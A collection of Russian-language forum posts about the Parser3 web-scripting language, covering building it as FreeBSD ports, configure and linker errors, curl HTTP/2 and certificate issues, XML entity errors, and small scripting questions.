Естественно бинарник для Linux не будет работать под FreeBSD. Вообще nconvert это скорее решение для Windows, под *nix обычно везде предустановлен ImageMagick, логичнее пользоваться им."
"84640","Надо инструкцию написать для сборки. Из коробки не хочет. Мейнтейнеры не делают патчи для двух зависимых портов: devel/boehm-gc и devel/pcre."
"84641","Может все-таки стоит перейти к конкретике? Версия FreeBSD, что за ошибка, почему вообще мантейнеры должны делать какие-то патчи? По-идее достаточно поставить зависимости, а далее парсер уже с ними соберется (возможно чему-то надо будет пути при вызове configure указать), как это происходит в пакете для Debian."
"84642","Зависимость devel/boehm-gc собирается без libgc.a, т.к. --disable-static.\
Соответствующий патч имеется.\
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=230145\
Но в дереве портов не появляется. Поэтому пока придётся ручками."
"84643","\"Пакетная\" версия parser3 и должна собираться со всеми зависимостями динамически, это нормально (не надо пересобирать при обновлении системных библиотек), в пакете для Linux так все и есть. Сейчас попробовал собрать parser3 на FreeBSD 11.2-RELEASE-p1, вылез косячек с путями к xml библиотекам (исправлено в HEAD в configure), плюс в 11.2 что-то \"улучшили\" по сравнению с 11.0, поэтому пока добавил --disable-stringstream, разберемся позже.\
\
В итоге вот так:\
> ./configure --with-gc=/usr/local/lib/ --with-pcre=/usr/local/ --with-xml=/usr/local/ --disable-stringstream\
\
Парсер собирается без каких бы то ни было дополнительных действий, на выходе динамически слинкованный бинарник:\
\
> ldd ./parser3 \
./parser3:\
	libgc.so.1 => /usr/local/lib/libgc.so.1 (0x800731000)\
	libpcre.so.1 => /usr/local/lib/libpcre.so.1 (0x800920000)\
	libxml2.so.2 => /usr/local/lib/libxml2.so.2 (0x800b99000)\
	libxslt.so.1 => /usr/local/lib/libxslt.so.1 (0x800f34000)\
	libexslt.so.0 => /usr/local/lib/libexslt.so.0 (0x80116f000)\
	libcrypt.so.5 => /lib/libcrypt.so.5 (0x801381000)\
	libm.so.5 => /lib/libm.so.5 (0x8015a0000)\
	libc++.so.1 => /usr/lib/libc++.so.1 (0x8017cd000)\
	libcxxrt.so.1 => /lib/libcxxrt.so.1 (0x801a9b000)\
	libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x801cba000)\
	libc.so.7 => /lib/libc.so.7 (0x801ec9000)\
	libthr.so.3 => /lib/libthr.so.3 (0x802285000)\
	libz.so.6 => /lib/libz.so.6 (0x8024ad000)\
	liblzma.so.5 => /usr/lib/liblzma.so.5 (0x8026c5000)\
	libiconv.so.2 => /usr/local/lib/libiconv.so.2 (0x8028ee000)\
\
Тесты проходятся относительно успешно."
"84644","Когда-то делал такой минисайтик http://88.86.84.112\
Надо было быстро собрать и запустить в работу. Сейчас \
там информация уже \"слегка\" устарела. Поэтому озаботился \
созданием порта. Даже из тех соображений, что зависимости\
там уже давно протухли в плане безопасности. Сам в портостроительстве \
новичок, поэтому сначала допустил кучу ляпов. Сижу. Исправляю.\
На следующей неделе планирую таки всё причесать и отправить вам.\
В комплекте должно быть пять или шесть портов:\
lang/parser3\
databases/parser3mysql\
databases/parser3oracle\
databases/parser3pgsql\
databases/parser3sqlite\
Хочу ещё сделать russian/parser3 с русской тестовой страницей.\
Ну и патченный devel/boehm-gc приложить."
"84645","> ./configure --with-gc=/usr/local/lib/ --with-pcre=/usr/local/ --with-xml=/usr/local/ --disable-stringstream\
\
У меня сейчас вот так\
\
CONFIGURE_ARGS= --with-included-ltdl --with-gc=${LOCALBASE}/lib --with-pcre=${LOCALBASE}\
\
Плюсом ещё несколько параметров исходя из OPTIONS.\
\
Но получаю \"configure: error: /usr/local does not seem to be valid PCRE installation directory\"\
\
Я эту проблему решал, но забыл как. Имхо, руками подкладывал libpcre.la в {LOCALBASE}/lib\
\
Вот вспомнил: https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=231660\
To build it, we need the /usr/local/lib/libpcre.la library from port /usr/ports/devel/pcre.\
А сейчас этого файла не нахожу. Или не там ищу."
"84646","Нашёл. Так собирается.\
\
cd /usr/ports/devel/pcre\
make stage\
cp work/pcre-8.42/libpcre.la /usr/local/lib"
"84647","> \"Пакетная\" версия parser3 и должна собираться со всеми зависимостями динамически\
\
Я так сначала и делал. И оно вроде работало. Потом обратил внимание на строчку \
\
if test ! -f \"$project_dir/gc/lib/libgc.a\"; then\
\
А тут libgc.a, а не libgc.so.\
\
Ну и переделал..."
"84648","[quote]Ну и переделал...[/quote]\
\
А вот зря. Это сделано для распространяемых с сайта [url=\"https://www.parser.ru/download/freebsd11/\"]бинарников[/url], в этом случае понятно надо минимизировать число зависимостей от библиотек, чтобы не просить хостера \"а поставьте мне libgc, pcre...\"."
"84649","Вернуть назад - не проблема."
"84650","Хорошо. Вернул всё обратно на динамику.\
Собираю голый Parser \"без всего\".\
Только с devel/boehm-gc и devel/pcre\
Первый ожидаемо на libgc.so не спотыкается.\
А вот libpcre.so не находится без libpcre.la.\
Руками закидываю его в /usr/local/lib, и порт \
собирается. И работает.\
\
Это с такими параметрами. Пока не понимаю, что надо исправить.\
CONFIGURE_ARGS= --with-included-ltdl --with-gc=${LOCALBASE}/lib --with-pcre=${LOCALBASE}"
"84651","Надо смотреть конец config.log. В моем успешном случае фрагмент выглядит так:\
\
configure:5118: checking for prce\
configure:5133: cc -o conftest -g -O2   conftest.c  -L/usr/local//lib -lpcre -I/usr/local//include >&5\
\
В случае же ошибки там будет еще и исходный код conftest.c, который можно сохранить в файл и, скомпилировав с указанными параметрами, увидеть точную ошибку. Но часто там сразу в параметрах видно, что именно не так."
"84652","Что лучше сделать в этой ситуации?\
\
configure:4933: checking for prce\
configure:4948: cc -o conftest -O2 -pipe  -fstack-protector -fno-strict-aliasing    -fstack-protector  conftest.c  -L/usr/local -lpcre -I/usr/local/include >&5\
/usr/bin/ld: cannot find -lpcre\
cc: error: linker command failed with exit code 1 (use -v to see invocation)\
configure:4948: $? = 1\
configure: failed program was:\
| /* confdefs.h */\
| #define PACKAGE_NAME \"parser\"\
| #define PACKAGE_TARNAME \"parser\"\
| #define PACKAGE_VERSION \"3.4.5\"\
| #define PACKAGE_STRING \"parser 3.4.5\"\
| #define PACKAGE_BUGREPORT \"\"\
| #define PACKAGE_URL \"\"\
| #define PACKAGE \"parser\"\
| #define VERSION \"3.4.5\"\
| #define PARSER_VERSION \"3.4.5 (compiled on amd64-portbld-freebsd11.2)\"\
| #define NDEBUG /**/\
| #define PA_SAFE_MODE /**/\
| /* end confdefs.h.  */\
|  #include <pcre.h>\
| int\
| main ()\
| {\
|  const char *v=pcre_version();\
|   ;\
|   return 0;\
| }\
configure:4953: result: no\
configure:4958: error: /usr/local does not seem to be valid PCRE installation directory"
"84653","[quote]\
configure:4948: cc -o conftest -O2 -pipe -fstack-protector -fno-strict-aliasing -fstack-protector conftest.c -L/usr/local -lpcre -I/usr/local/include >&5[/quote]\
\
Должно быть -L/usr/local/lib. Это исправлено больше года назад:\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/configure.ac?r1=1.21&r2=1.22\
\
Так что думаю стоит взять HEAD версию, или пропатчить релиз (понятно так же меняется и сам configure)."
"84654","Патч сделал. Не помогло."
"84655","Патч меняет только configure.ac? configure надо тоже или менять, или перегенерировать:\
aclocal -I src/lib/ltdl/m4 && autoheader && automake && autoconf"
"84656","Кто это должен сделать?"
"84657","Я могу сделать патч для configure, но не изменять сам тарбол.\
Устанавливать libpcre.la в /usr/local/lib тоже не имею права.\
А мэйнтейнер devel/pcre молчит."
"84659","Вроде победил проблему.\
Когда протестирую, выложу в доступ.\
Попробую повторно протолкнуть в дерево портов."
"84661","Сделал много правок Makefile.\
Добавил pkg-message, pkg-install, pkg-deinstall.\
Не хотел сырец выпускать."
"84662","Протестировал работоспособность драйверов databases/parser3mysql и databases/parser3sqlite. PostgeSQL в jail пока запустить не удалось даже с security.jail.sysvipc_allowed=1. Поэтому databases/parser3pgsql проверю чуть позже в ближайшее время на другой платформе. С Oracle не сталкивался, поэтому буду выкладывать без тестирования. Исправил ещё некоторые ошибки, связанные со связкой с Nginx.\
Осталась проблема связки с библиотекой XML, которую хочется решить перед опубликованием. Пишет \"You need install parser with XML... Probably XML libs not installed properly...\", хотя порт собирался по поддержкой XML. Есть по этому поводу мысли, где покрутить?"
"84663","Доброго дня!\
\
Вот такая странность обнаружилась. Падает с ошибкой:\
[code]An error occurred while reading CGI reply (no response received)[/code]\
\
Код:\
[code]\
@main[]\
\
^doCGIError[\
	$.executeJunction{\
\
		$answer[^curl:load[\
			$.url[https://www.parser.ru]\
			$.mode[text]\
			$.useragent[parser3]\
			$.timeout(60)\
			$.failonerror(0)\
			$.cookiesession(1)\
			$.post(1)\
			$.ssl_verifypeer(0)\
			$.ssl_verifyhost(0)\
		]]\
\
	}\
]\
\
\
@doCGIError[pars]\
^try{\
	^functionWhichMakeAnException[]\
}{\
	$pars.executeJunction\
}\
[/code]\
\
Код для примера, убрали лишнее, оставили только ситуацию, которая провоцирует подобную ошибку.\
\
\
[quote]\
ОС: FreeBSD 11.1-RELEASE\
Parser: Parser/3.4.6b *(такой же эффект Parser/3.4.5b)[/quote]"
"84665","[code]@main[]\
$env:PARSER_VERSION\
\
^doCGIError[\
	$.executeJunction{\
		$answer[^curl:load[\
			$.url[https://www.parser.ru]\
			$.mode[text]\
			$.useragent[parser3]\
			$.timeout(60)\
			$.failonerror(0)\
			$.cookiesession(1)\
			$.post(1)\
			$.ssl_verifypeer(0)\
			$.ssl_verifyhost(0)\
		]]\
\
		[$answer.status]\
	}\
]\
\
\
@doCGIError[pars]\
^try{\
	^err[]\
}{\
	$exception.handled(true)\
	$pars.executeJunction\
}\
\
\
@err[]\
^throw[debug;][/code]\
\
Если исключение перехватывать — код с curl выполняется без проблем.\
Если не перехватывать (закомментировать $exception.handled(true)) — получаем обычное исключение.\
\
Проверил в 3.4.6b (compiled on i386-pc-win32) и 3.4.6b (compiled on x86_64-unknown-linux-gnu).\
\
Ваша ошибка где-то в другом месте."
"84666","Может быть дело во freebsd... Попробовать пересобрать заново парсер?\
Наши с вами версии 3.4.6b не могут отличаться, не могло там быть более свежих правок?"
"84668","Приветствую, собственно никак не получается подключиться.\
Сначала пробуем в консоли:\
\
[quote]curl -k --cert-type P12 --cert my.p12:keypass https://somehost.ru/[/quote]\
Всё ок, работает. Теперь пытаюсь перенести это в парсер:\
\
[code]$f[^curl:load[\
    $.url[https://somehost.ru/] \
    $.sslcerttype[P12]\
    $.sslcert[./my.p12]\
    $.keypasswd[keypass]\
    $.ssl_verifypeer(0)\
]]\
[/code]\
Получаю какую то невнятную ошибку:\
[quote]load\
Problem with the local SSL certificate[/quote]\
\
Что нужно подкрутить? \
parser 3.4.5, win32"
"84669","FreeBSD 11.1-RELEASE\
слил parser с head.\
\
Конфигур: \
[code]./configure --prefix=/home/stur/src/PARSER/3.5.6b/done \"--with-sendmail=/usr/sbin/sendmail -i -t -f postmaster\" --with-included-ltdl --with-gc=/home/stur/src/PARSER/3.5.6b/gc/lib --with-pcre=/home/stur/src/PARSER/3.5.6b/pcre --with-xml=/home/stur/src/PARSER/3.5.6b/gnome --silent  --with-pic --disable-shared[/code]\
\
\
На make (gmake) ошибка:\
[code]\
Making all in cgi\
/bin/sh ../../../libtool --preserve-dup-deps --mode=link --tag=CXX c++  -g -O2   -o parser3 pa_threads.o parser3.o ../../main/.libs/libmain.a ../../classes/.libs/libclasses.a ../../types/.libs/libtypes.a ../../main/.libs/libmain.a  ../../lib/gd/libgd.la ../../lib/cord/libcord.la ../../lib/md5/libmd5.la ../../lib/sdbm/libsdbm.la  ../../lib/pcre/libpcre_internal.la ../../lib/smtp/libsmtp.la ../../lib/json/libjson.la  ../../lib/punycode/libpunycode.la ../../lib/memcached/libmemcached.la ../../../src/lib/ltdl/libltdlc.la /home/stur/src/PARSER/3.5.6b/gc/lib/libgc.la /home/stur/src/PARSER/3.5.6b/pcre/lib/libpcre.la /home/stur/src/PARSER/3.5.6b/gnome/lib/libxml2.la /home/stur/src/PARSER/3.5.6b/gnome/lib/libxslt.la /home/stur/src/PARSER/3.5.6b/gnome/lib/libexslt.la -lcrypt -lm\
libtool: link: c++ -g -O2 -o parser3 pa_threads.o parser3.o  /usr/home/stur/src/PARSER/3.5.6b/parser3/src/lib/ltdl/./.libs/dlopen.a ../../main/.libs/libmain.a ../../classes/.libs/libclasses.a ../../types/.libs/libtypes.a ../../main/.libs/libmain.a ../../lib/gd/.libs/libgd.a ../../lib/cord/.libs/libcord.a ../../lib/md5/.libs/libmd5.a ../../lib/sdbm/.libs/libsdbm.a ../../lib/pcre/.libs/libpcre_internal.a ../../lib/smtp/.libs/libsmtp.a ../../lib/json/.libs/libjson.a ../../lib/punycode/.libs/libpunycode.a ../../lib/memcached/.libs/libmemcached.a ../../../src/lib/ltdl/.libs/libltdlc.a /home/stur/src/PARSER/3.5.6b/gc/lib/libgc.a /home/stur/src/PARSER/3.5.6b/pcre/lib/libpcre.a -L/home/stur/src/PARSER/3.5.6b/gnome/lib /home/stur/src/PARSER/3.5.6b/gnome/lib/libexslt.a /home/stur/src/PARSER/3.5.6b/gnome/lib/libxslt.a /home/stur/src/PARSER/3.5.6b/gnome/lib/libxml2.a -lcrypt -lm\
../../classes/.libs/libclasses.a(table.o): In function `std::__1::ostreambuf_iterator<char, std::__1::char_traits<char> > std::__1::__pad_and_output<char, std::__1::char_traits<char> >(std::__1::ostreambuf_iterator<char, std::__1::char_traits<char> >, char const*, char const*, char const*, std::__1::ios_base&, char)':\
table.C:(.text._ZNSt3__116__pad_and_outputIcNS_11char_traitsIcEEEENS_19ostreambuf_iteratorIT_T0_EES6_PKS4_S8_S8_RNS_8ios_baseES4_[_ZNSt3__116__pad_and_outputIcNS_11char_traitsIcEEEENS_19ostreambuf_iteratorIT_T0_EES6_PKS4_S8_S8_RNS_8ios_baseES4_]+0x95): undefined reference to `new_disabled()'\
c++: error: linker command failed with exit code 1 (use -v to see invocation)\
*** Error code 1\
\
Stop.\
make[3]: stopped in /usr/home/stur/src/PARSER/3.5.6b/parser3/src/targets/cgi\
*** Error code 1\
\
Stop.\
make[2]: stopped in /usr/home/stur/src/PARSER/3.5.6b/parser3/src/targets\
*** Error code 1\
\
Stop.\
make[1]: stopped in /usr/home/stur/src/PARSER/3.5.6b/parser3/src\
*** Error code 1\
\
Stop.\
make: stopped in /usr/home/stur/src/PARSER/3.5.6b/parser3\
[/code]"
"84670","старый head от ноября 2017 собирается."
"84671","Да, знаем. На мой взгляд это какой-то баг в компиляторе (clang) или новой версии STL, во всяком случае ни в каких других условиях он не проявляется.\
В парсере переопределяются механизмы аллокации памяти,\
\
src/classes/table.C\
\
typedef std::basic_stringstream<char, std::char_traits<char>, gc_allocator<char> > pa_stringstream;\
typedef std::basic_string<char, std::char_traits<char>, gc_allocator<char> > pa_string;\
\
Но результирующий код почему-то все равно использует системный new, а в код парсера некоторое время назад была добавлена проверка на такой случай.\
Глубоко еще не копал, но задача стоит, попробуем как минимум локализовать проблему.\
\
Что интересно, в 11.0 такой проблемы не было - [url=\"https://www.parser.ru/download/nightly/\"]ночные сборки[/url] продолжают успешно собираться.\
\
Так что пока собирать с --disable-stringstream..."
"84673","***\
В корневом auto.p\
\
$CLASS_PATH[^table::create{path\
/classes/parent\
}]\
\
***\
В /classes/parent/parent.p\
\
@CLASS\
parent\
\
@metod[param]\
blablabla\
\
***\
В child.p\
\
@CLASS\
child\
\
@BASE\
parent.p\
\
@metod[param]\
blablabla\
\
***\
В локальном auto.p\
\
$oValue[^child::init[param]]\
\
***\
Получаю\
\
Unhandled Exception (parser.compile)\
'parent.p': undefined class in @BASE\
/usr/local/www/site/child.p(xx:xx)\
USE	/usr/local/www/site/auto.p(xx:xx)"
"84674","[code]\
@USE\
parent.p\
\
@CLASS\
child\
\
@BASE\
parent\
\
@metod[param]\
blablabla\
\
[/code]"
"84675","Почему-то перестал понимать entity. \
\
[code]'create' Entity: line 144: parser error : Entity 'nbsp' not defined &nbsp; ^ [xml][/code]\
\
\
Это происходит при динамическом создании xml, к примеру:\
\
[code]\
$xdocString[<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"no\"?>\
<!DOCTYPE xsl:stylesheet SYSTEM \"/entities.dtd\">\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:import href=\"/system.xsl\" />\
$morexml\
</xsl:stylesheet>]\
\
$xdocTemplate[^xdoc::create{$xdocString}]\
\
[/code]\
\
С парсером 3.4.6b от ноября 2017 это работает. Да и предыдущими версиям вроде тоже проблемы такой не было."
"84676","[quote]--with-xml=/home/stur/src/PARSER/3.5.6b/gnome[/quote]\
\
Вот это gnome откуда взялось? Результат работы buildall? \
grep LIBXML_DOTTED_VERSION gnome/include/libxml2/libxml/xmlversion.h что покажет?\
\
У меня на FreeBSD 11.2-RELEASE-p4 парсер собранный и c системными библиотеками,\
\
[code]./configure --with-gc=/usr/local/lib/ --with-pcre=/usr/local/ --with-xml=/usr/local/ --disable-stringstream --disable-safe-mode\
[/code]\
\
и через \
\
[code]./buildall --disable-stringstream [/code]\
\
(Note: в отдельной папке, со сборкой всех зависимых библиотек) - оба работают нормально - проходятся и встроенные тесты, и указанный код тоже работает."
"84677","Обращаю внимание, что libxml собирается с кучей опций:\
\
[code]    ./configure --prefix=$project_dir/gnome \\\
        --without-catalog \\\
        --without-iconv \\\
        --without-threads \\\
        --without-debug \\\
        --without-iso8859x \\\
        --without-legacy \\\
        --without-push \\\
        --without-python \\\
        --without-writer \\\
        --without-readline \\\
        --without-regexps \\\
        --without-schemas \\\
        --without-schematron \\\
        --without-modules \\\
        --without-ftp \\\
        --without-http \\\
        --without-docbook \\\
        --without-zlib \\\
        --without-lzma \\\
        --disable-shared \\\
        --silent $cflags\
[/code]"
"84678","[code]grep LIBXML_DOTTED_VERSION gnome/include/libxml2/libxml/xmlversion.h\
 * LIBXML_DOTTED_VERSION:\
#define LIBXML_DOTTED_VERSION \"2.9.4\"[/code]\
\
Конфигур в итоге был такой:\
[code]./configure --prefix=/home/stur/src/PARSER/3.5.6b/done \"--with-sendmail=/usr/sbin/sendmail -i -t -f postmaster\" --with-included-ltdl --with-gc=/home/stur/src/PARSER/3.5.6b/gc/lib --with-pcre=/home/stur/src/PARSER/3.5.6b/pcre --disable-safe-mode --with-xml=/home/stur/src/PARSER/3.5.6b/gnome --silent  --with-pic --disable-shared --disable-stringstream[/code]\
\
с системными не пробовал, сейчас сделаю."
"84679","[code]create\
 \
Entity: line 37: parser error : Entity 'nbsp' not defined\
					<small class=\"text-muted\"><xsl:value-of select=\"@childs_cnt\"/>&nbsp;фот?[/code]\
\
Тоже самое. Может конфигур кривой у меня?\
\
[code]\
/configure --prefix=/home/stur/src/PARSER/3.5.6b/done \"--with-sendmail=/usr/sbin/sendmail -i -t -f postmaster\" --with-included-ltdl --with-gc=/usr/local/lib/ --with-pcre=/usr/local/ --disable-safe-mode --with-xml=/usr/local/ --silent  --with-pic --disable-shared --disable-stringstream\
[/code]\
\
Хм... однако, когда парсер был собран с либами в отдельной папке (как через buildall), вот это не чинилось: https://www.parser.ru/forum/?id=84663\
\
С собранным парсером с системными библиотеками, это заработало, но в обоих случаях ломается entity... что-то странное творится..."
"84682","Скажите, а документация в Safari когда-нибудь будет работать? Левая колонка со списком страниц уже очень давно не показывается, а хром открывать каждый раз только из-за документации надоело"
"84683","В мобильном Сафари тоже. :)"
"84685","https://bugs.freebsd.org/bugzilla/buglist.cgi?quicksearch=parser3&list_id=266469\
\
Опубликовал, но пока оказалось никому не интересно, чтобы внести в дерево портов."
"84686","Работайте в opere проблем не будет"
"84687","Добрый день.\
При запросе к MySQL NULL и '' (пусто) \"выглядят\" одинаково в объекте-таблице.\
[b]Есть ли способ отличить их между собой?[/b]"
"84688","Боюсь что проще всего будет добавить в select колонку типа field is null as field_null...\
Есть вариант сделать подобное через ^reflection:uid[], но без изменения кода парсера тут кажется не обойтись."
"84689","Понял, спасибо."
"84691","заготовка:\
[code]@main[]\
\
^rem{open}\
open\
^sleep(1)\
^rem{get}\
get\
^sleep(1)\
^rem{check}\
check\
^sleep(1)\
done\
#main\
[/code]\
\
auto.p:\
[code]@postprocess[body] \
\
^if($body is string){ \
\
	^while(^body.match[^#0A^#0A][n] > 0){\
		$body[^body.replace[^#0A^#0A;^#0A]]\
	}  \
	^while(^body.match[^#20^#20][n] > 0){\
		$body[^body.replace[^#20^#20;^#20]]\
	}  \
}\
\
$body \
#postprocess\
[/code]\
\
результат:\
[code]<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
open\
get\
check\
done\
<empty>\
<empty>\
[/code]\
\
чего хочется:\
[code]open\
get\
check\
done[/code]\
\
\
//без постпроцеса вьіглядит так:\
[code]<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
<empty>\
open\
<empty>\
<empty>\
get\
<empty>\
<empty>\
check\
<empty>\
done\
<empty>\
<empty>\
[/code]"
"84692","1. Не очень понятно что вы пытаетесь сделать. Выходит как бы, что сначала создаете себе проблему, а потом пытаетесь ее решить.\
2. Циклы тут не нужны:\
\
[code]@postprocess[body] \
^if($body is string){ \
  $result[^body.match[\\n+][g]{^#0A}]\
  $result[^result.match[^#20+][g]{^#20}]\
  $result[^result.trim[]]\
}[/code]"
"84693","1. При использовании парсера в консоли код на пару сотен строк в результате вьідает пару сотен #0А и пробелов.\
\
2. Спасибо."
"84694","[code]@postprocess[result] \
^if($result is string){ \
	$result[^result.match[([\\n\\s])+;g]{$match.1}]\
	$result[^result.trim[]]\
}[/code]"
"84695","[quote]1. При использовании парсера в консоли код на пару сотен строк в результате вьідает пару сотен #0А и пробелов.[/quote]\
\
При работе в консоли лучше выводить результат построчно, используя $console:line[…]."
"84696","Ну в \\s попадают и табы, неизвестно соответствует ли это задаче. А так да"
"84697","Кроме оптимизации замен важно из @postprocess[] всегда возвращать результат, иначе сломается выдача нетекстового ответа — тех же файлов."
"84698","про $console:line[] в курсе, \
но тут\
скрипт дергается через cron, вьівод перенаправлен в файл, \
текущее состояние вьіполнения - не интересно :) \
важен только результат. \
посему придумалось сделать через вот так"
"84700","после обновления на FreeBSD curl стал вести себя не так, как было задумано :)\
\
[code]Парсер ещё не пересобирал - Parser/3.4.6b (compiled on amd64-unknown-freebsd10.3)[/code]\
\
[code]\
FreeBSD: 11.2-RELEASE-p7 FreeBSD 11.2-RELEASE-p7 #0: Tue Dec 18 08:29:33 UTC 2018     root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC  amd64\
[/code]\
\
[code]curl -V\
curl 7.62.0 (amd64-portbld-freebsd11.2) libcurl/7.62.0 OpenSSL/1.0.2o zlib/1.2.11 nghttp2/1.35.1\
Release-Date: 2018-10-31\
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smtp smtps telnet tftp \
Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy[/code]\
\
Если передавать данные постом на http/https хост таким образом, всё работает:\
\
[code]\
$httppost[\
	$.secret[gkkey]\
	$.response[testform]\
]\
$xxx[^curl:load[\
	$.url[http://testsite.xxx]\
	$.post(1)\
	$.timeout(60)\
	$.postfields[^httppost.foreach[k;v]{$k=^taint[uri][$v]}[&]]\
]][/code]\
\
Если же передавать данные через $.httppost[], то работает теперь только на http. На http2 вылетает с такой вот ошибкой: \
[quote]Stream error in the HTTP/2 framing layer[/quote]\
\
Что можно попробовать сделать?"
"84701","[quote]Что можно попробовать сделать?[/quote]\
\
Боюсь не подскажем, пока не сможем воспроизвести. Код ниже у меня работает без ошибки.\
Возможно стоит его попробовать или привести точный ошибочный код.\
\
[code]$httppost[\
    $.secret[gkkey]\
    $.response[testform]\
]\
$xxx[^curl:load[\
    $.http_version[2]\
    $.url[https://example.com]\
    $.post(1)\
    $.timeout(60)\
    $.httppost[$httppost]\
]]\
[/code]\
\
Версия curl та же:\
\
[code]FreeBSD imp.srv.design.ru 11.2-RELEASE-p3 FreeBSD 11.2-RELEASE-p3 #0 r338723M: Tue Sep 18 11:42:18 MSK 2018\
\
curl -V\
curl 7.62.0 (i386-portbld-freebsd11.2) libcurl/7.62.0 OpenSSL/1.0.2p zlib/1.2.11 c-ares/1.10.0 libidn2/2.0.5 libssh2/1.8.0 nghttp2/1.34.0\
Release-Date: 2018-10-31\
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smtp smtps telnet tftp \
Features: AsynchDNS IDN Largefile NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy \
[/code]"
"84702","[code] cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_4_5 sql\
[/code]\
\
даже каталог sql не создает, хотя пишет:\
[code]cvs checkout: Updating sql\
cvs checkout: Updating sql/mysql\
cvs checkout: Updating sql/mysql/libltdl\
cvs checkout: Updating sql/mysql/libltdl/config\
cvs checkout: Updating sql/mysql/libltdl/libltdl\
cvs checkout: Updating sql/mysql/libltdl/loaders\
cvs checkout: Updating sql/mysql/libltdl/m4\
cvs checkout: Updating sql/odbc\
cvs checkout: Updating sql/odbc/MFCpatches\
cvs checkout: Updating sql/oracle\
cvs checkout: Updating sql/oracle/libltdl\
cvs checkout: Updating sql/oracle/libltdl/config\
cvs checkout: Updating sql/oracle/libltdl/libltdl\
cvs checkout: Updating sql/oracle/libltdl/loaders\
cvs checkout: Updating sql/oracle/libltdl/m4\
cvs checkout: Updating sql/pgsql\
cvs checkout: Updating sql/pgsql/libltdl\
cvs checkout: Updating sql/pgsql/libltdl/config\
cvs checkout: Updating sql/pgsql/libltdl/libltdl\
cvs checkout: Updating sql/pgsql/libltdl/loaders\
cvs checkout: Updating sql/pgsql/libltdl/m4\
cvs checkout: Updating sql/sqlite\
cvs checkout: Updating sql/sqlite/libltdl\
cvs checkout: Updating sql/sqlite/libltdl/config\
cvs checkout: Updating sql/sqlite/libltdl/libltdl\
cvs checkout: Updating sql/sqlite/libltdl/loaders\
cvs checkout: Updating sql/sqlite/libltdl/m4\
[/code]"
"84705","2Админ: если правильно и неинформативно - удалите тред, плиз :)"
"84706","Код, который производит ошибку:\
\
[code]\
@main[]\
$verifyInfo[\
	^curl:load[\
		$.url[https://www.google.com/recaptcha/api/siteverify]\
		$.post(1)\
		$.timeout(60)\
		$.httppost[\
			$.secret[gkkey]\
			$.response[testform]\
		]\
	]\
][/code]"
"84707","на сколько я помню, там не надо ветку указывать"
"84708","попробовал пересобрать новый парсер с head.\
\
Починалась текущая проблема, отправка через curl на http2, предыдущий код стал работать.\
\
Но вот это всё осталось https://www.parser.ru/forum/?id=84675\
\
Только раньше решалась проблема вот с этим, а теперь нет: https://www.parser.ru/forum/?id=84663 \
\
Это уже прям кошмарики какие-то :) Порты обновлял все, ос тоже через freebsd-update.\
\
\
Сейчас попробую в чистой установке 11.2 потестировать."
"84709","[quote]ошибка только если обращение к сайту на http2 протоколе.[/quote]\
\
Для этого наверное стоит добавлять параметр $.http_version[2], как это сделано в моем примере? Ну и ваш код у меня тоже работает без ошибок."
"84710","[quote]Но вот это всё осталось https://www.parser.ru/forum/?id=84675[/quote]\
\
Как уже писал, тут только при предоставлении SSH доступа можем помочь.\
Ну и напоминаю про парсер из [url=\"/download/nightly/\"]ночных сборок[/url]."
"84711","У mysql текущая mysql_release_10_6:\
http://cvsview.parser.ru/cgi/viewcvs.cgi/sql/mysql/parser3mysql.C?view=graph"
"84712","Насчёт ночной сборки есть пара моментов...\
1. нужна работа с disable-safe-mode \
2. судя по проведённым экспериментам, тут от самого собранного cgi видимо далеко не всё зависит. Т.е. цги собранный на хост системе работает в jail из консоли. Но не работает с некоторыми вещами на хост машине... вот как такое может быть хз..."
"84713","Break не обязателен.\
\
[code]$condition(true)\
\
^while($condition){\
	…\
\
	$condition(false)\
}[/code]"
"84716","[quote]called with invalid option 'http_version'[/quote]\
\
Гм, это точно с head версией? В ней с помощью ^curl:session{} и ^curl:info[] можно будет увидеть реальную версию протокола, по которому было взаимодействие.\
\
[quote]вот как такое может быть хз...[/quote]\
\
Можно запустить ktrace/kdump и сравнить, возможно каких-то файлов не хватает на хост машине."
"84717","Что возвращает ^curl:version[]?\
\
Очень похоже, что Парсером используется системный curl без поддержки HTTP/2."
"84719","вот что отдаёт ^json:string[^curl:info[]] внутри сессии.\
Сам запрос curl:load обернул в try, а то он же падает, ниже инфо. \
Только версию протокола не увидел...\
\
[code]{ \
\"size_download\":0, \
\"request_size\":183, \
\"content_type\":\"text\\/html; charset=UTF-8\", \
\"effective_url\":\"https:\\/\\/www.google.com\\/recaptcha\\/api\\/siteverify\", \
\"header_size\":195, \
\"redirect_time\":0, \
\"appconnect_time\":0.139044, \
\"pretransfer_time\":0.139323, \
\"num_connects\":1, \
\"primary_ip\":\"74.125.131.106\", \
\"speed_upload\":0, \
\"speed_download\":0, \
\"redirect_url\":\"\", \
\"proxyauth_avail\":0, \
\"starttransfer_time\":0.139329, \
\"connect_time\":0.041117, \
\"namelookup_time\":0.002375, \
\"redirect_count\":0, \
\"httpauth_avail\":0, \
\"total_time\":0.177988, \
\"content_length_download\":1555,\
\"os_errno\":0, \
\"ssl_verifyresult\":0, \
\"response_code\":400, \
\"content_length_upload\":251, \
\"size_upload\":0\
}[/code]"
"84720","В HEAD первым элементом ^curl:info[] выдается http_version."
"84721","[code]$TX[^table::create{data}] \
\
$hD1[$.type[D] $.device[D1] $.deviceType[T1] $.status[S1] .... ]\
$hS1[$.type[S] $.sensor[S1] $.value[V1] .... ]\
\
^TX.append[ $.data[$hD1] ]\
